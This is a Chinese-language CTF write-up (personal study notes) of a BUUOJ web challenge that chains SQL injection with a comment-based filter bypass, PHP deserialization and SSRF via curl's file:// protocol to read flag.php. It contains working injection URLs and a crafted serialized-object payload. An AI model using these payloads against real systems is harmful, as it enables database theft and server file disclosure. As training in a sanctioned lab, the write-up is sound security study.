20200421学习笔记

今天做buuoj做了一道web题,总的来说考察到了SQL注入、SSRF、反序列化的知识点。这三个考点我都想到了,但是一块考我是没想到的。

参考链接:
https://blog.csdn.net/weixin_43818995/article/details/104529233
https://blog.csdn.net/weixin_45425482/article/details/103868660
https://www.cnblogs.com/appleat/archive/2012/09/03/2669033.html
https://www.w3school.com.cn/sql/sql_union.asp

知识铺垫

MYSQL UNION SELECT :

比如
select username,password from user union select 1,2
UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名。
可以先根据orderby判断字段个数,判断完字段个数后根据union select 1,2,3…判断在哪儿显示。
对union UNION 结果集中的列名总是等于 UNION 中第一个 SELECT 语句中的列名 这句话的举例:

MYSQL CONCAT GROUP_CONCAT

concat(str1,’separator’,str2) // separator是分隔符
可以在结果中连接多个字段 比如下图举例 连接username,password为一个字段。

group_concat()GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
简单的来说就是把查询到的数据丢到一行显示,在注入的时候就不用一个个limit了。
比如查表名:select group_concat(table_name) from information_schema.tables where table_Schema=数据库名 一条可以查到该数据库所有的表名

SSRF

php的curl未经严格过滤可能导致SSRF(利用file协议。)

题目分析

进去之后注册,注册完不知道有啥用了,打开扫描器扫一下,扫到了robots.txt
robots.txt提示了有个user.php的备份,下载下来。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php


class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";

public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}

function get($url)
{
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);

return $output;
}

public function getBlogContents ()
{
return $this->get($this->blog);
}

public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}

}

对该文件分析可以发现存在SSRF利用点,其他的暂时没想起来。然后看一下/view.php
注意url,穿了个参数。。maybe注入?
给个-1试试:报错。把绝对路径爆出来了:/var/www/html/view.php
再查查试试:-1 union select 1,2,3 给waf了 过滤了啥不知道 挨个试试,应该是过滤了 union select,把空格换成注释绕过。union//select成功绕过。
接下来就是判断列数,查数据库名,查表名,查字段。。
http://7f8c0885-83d5-462e-b56a-175f6b06308b.node3.buuoj.cn/view.php?no=-1%20union/
/select%201,group_concat(column_name),3,4%20from%20information_schema.columns%20where%20table_name=%27users%27 这是查字段
然后查data字段 http://7f8c0885-83d5-462e-b56a-175f6b06308b.node3.buuoj.cn/view.php?no=-1%20union/**/select%201,group_concat(data),3,4%20from%20users
发现数据是O:8:”UserInfo”:3:{s:4:”name”;s:6:”123123”;s:3:”age”;i:123123;s:4:”blog”;s:13:”www.baidu.com";}
眼熟不?序列化后的数据?是不是该想想反序列化的问题了?
然后读备份的代码,我们应该利用getBlogContents()方法进行SSRF,内容为file://var/www/html/flag.php,那么注册的时候能填这个不?当然过滤了。
所以,我们猜测,完整的流程应该是这样:
用户注册http开头的blog,把对象序列化后存入数据库,当用户查询的时候,查询到序列化数据反序列化,然后交给getBlogContents()方法去用curl发送请求。
我们要做的就是让数据库查到的请求返回的是我们恶意构造的序列化对象,该对象的blog为file:///var/www/html/flag.php。
就是要把 O:8:”UserInfo”:3:{s:4:”name”;s:3:”123”;s:3:”age”;i:0;s:4:”blog”;s:29:”file:///var/www/html/flag.php”;} 这一串当作查询返回的结果,应该怎么办呢?UNION SELECT!
注意与列对应(根据我们刚才查的列,知道data是第四个字段,所以把payload放到第四个字段上对应~)
payload:http://7f8c0885-83d5-462e-b56a-175f6b06308b.node3.buuoj.cn/view.php?no=-1/**/union/**/select/**/1,2,3,%27O:8:%22UserInfo%22:3:{s:4:%22name%22;s:4:%22test%22;s:3:%22age%22;i:123;s:4:%22blog%22;s:29:%22file:///var/www/html/flag.php%22;}%27
然后查看源码中的iframe,解密base64得到flag。

在上帝视角再看这道题

为了证明我的思路是正确的,我利用SSRF漏洞获取到了db.php,user.php,show,php,join.ok.php
下面是view.php的代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php session_start(); ?>
<?php require_once 'db.php'; ?>
<?php require_once 'user.php'; ?>
<?php require_once 'error.php'; ?>
<?php

$db = new DB();

?>
<!doctype html>
<html lang="ko">
<head>
<meta charset="UTF-8">
<meta name="viewport"
content="width=device-width, user-scalable=no, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>User</title>

<?php require_once 'bootstrap.php'; ?>
</head>
<body>
<?php

$no = $_GET['no'];
if ($db->anti_sqli($no))
{
die("no hack ~_~");
}

$res = $db->getUserByNo($no);
$user = unserialize($res['data']);
//print_r($res);

?>
<div class="container">
<table class="table">
<tr>
<th>
username
</th>
<th>
age
</th>
<th>
blog
</th>
</tr>
<tr>
<td>
<?php echo $res['username']; ?>
</td>
<td>
<?php echo $user->age; ?>
</td>
<td>
<?php echo xss($user->blog); ?>
</td>
</tr>
</table>

<hr>
<br><br><br><br><br>
<p>the contents of his/her blog</p>
<hr>
<?php

$response = $user->getBlogContents();
if ($response === 404)
{
echo "404 Not found";
}

else
{
$base64 = base64_encode($response);
echo "<iframe width='100%' height='10em' src='data:text/html;base64,{$base64}'>";
// echo $response;
}

// var_dump($user->getBlogContents());
?>

</div>
</body>
</html>

其中,

1
2
$res = $db->getUserByNo($no);
$user = unserialize($res['data']);//这句话也解释了为什么要对应第四个字段。

这两句话印证了我的思路:反序列化数据库中的data字段—存放的user,反序列化后调用getBlogContents(),在getBlogContents()中调用get(user->blog),在这里面CURL请求,然后在前端输出base64加密的值。

总结

我太菜了。综合利用还是不行,说明我每个点还没都弄明白。尤其是正则表达式,只能看个大概,复杂的就不懂了,还需要继续学习